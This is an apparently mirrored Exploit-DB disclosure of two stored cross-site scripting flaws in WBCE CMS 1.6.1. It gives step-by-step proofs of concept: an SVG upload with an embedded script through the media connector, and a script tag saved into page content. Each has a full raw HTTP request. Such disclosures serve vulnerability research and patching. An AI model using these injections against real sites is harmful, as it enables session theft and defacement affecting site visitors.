WBCE CMS 1.6.1 – Multiple Stored Cross-Site Scripting (XSS)

  • 作者: Mirabbas Ağalarov
    日期: 2023-05-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51484/
  • Exploit Title: WBCE CMS 1.6.1 - Multiple Stored Cross-Site Scripting (XSS)
    Version: 1.6.1
    Bugs:XSS
    Technology: PHP
    Vendor URL: https://wbce-cms.org/
    Software Link: https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1
    Date of found: 03-05-2023
    Author: Mirabbas Ağalarov
    Tested on: Linux 
    
    
    2. Technical Details & POC
    ========================================
    ###XSS-1###
    steps: 
    
    1. Go to media (http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/)
    2. upload malicious svg file
    
    svg file content ===>
    
    <?xml version="1.0" standalone="no"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    
    <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
     <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
     <script type="text/javascript">
    alert(document.location);
     </script>
    </svg>
    
    
    poc request:
    
    POST /WBCE_CMS-1.6.1/wbce/modules/elfinder/ef/php/connector.wbce.php HTTP/1.1
    Host: localhost
    Content-Length: 976
    sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
    sec-ch-ua-platform: "Linux"
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5u4r3pOGl4EnuBtO
    Accept: */*
    Origin: http://localhost
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23; phpsessid-6361-sid=nnjmhia5hkt0h6qi9lumt95t9u; WBCELastConnectJS=1683060167
    Connection: close
    
    ------WebKitFormBoundary5u4r3pOGl4EnuBtO
    Content-Disposition: form-data; name="reqid"
    
    187de34ea92ac
    ------WebKitFormBoundary5u4r3pOGl4EnuBtO
    Content-Disposition: form-data; name="cmd"
    
    upload
    ------WebKitFormBoundary5u4r3pOGl4EnuBtO
    Content-Disposition: form-data; name="target"
    
    l1_Lw
    ------WebKitFormBoundary5u4r3pOGl4EnuBtO
    Content-Disposition: form-data; name="upload[]"; filename="SVG_XSS.svg"
    Content-Type: image/svg+xml
    
    <?xml version="1.0" standalone="no"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    
    <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
     <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
     <script type="text/javascript">
    alert(document.location);
     </script>
    </svg>
    ------WebKitFormBoundary5u4r3pOGl4EnuBtO
    Content-Disposition: form-data; name="mtime[]"
    
    1683056102
    ------WebKitFormBoundary5u4r3pOGl4EnuBtO--
    
    
    3. go to svg file (http://localhost/WBCE_CMS-1.6.1/wbce/media/SVG_XSS.svg)
    
    
    
    ========================================================================================================================
    
    ###XSS-2###
    
    1. go to pages(http://localhost/WBCE_CMS-1.6.1/wbce/admin/pages)
    2. add page
    3. write page source content <script>alert(4)</script> (%3Cscript%3Ealert%284%29%3C%2Fscript%3E)
    payload: %3Cscript%3Ealert%284%29%3C%2Fscript%3E
    poc request:
    
    POST /WBCE_CMS-1.6.1/wbce/modules/wysiwyg/save.php HTTP/1.1
    Host: localhost
    Content-Length: 143
    Cache-Control: max-age=0
    sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Linux"
    Upgrade-Insecure-Requests: 1
    Origin: http://localhost
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/pages/modify.php?page_id=4
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23; phpsessid-6361-sid=nnjmhia5hkt0h6qi9lumt95t9u; WBCELastConnectJS=1683060475
    Connection: close
    
    page_id=4&section_id=4&formtoken=6071e516-6ea84938ea2e60b811895c9072c4416ab66ae07f&content4=%3Cscript%3Ealert%284%29%3C%2Fscript%3E&modify=Save
    
    
    4. view pages http://localhost/WBCE_CMS-1.6.1/wbce/pages/hello.php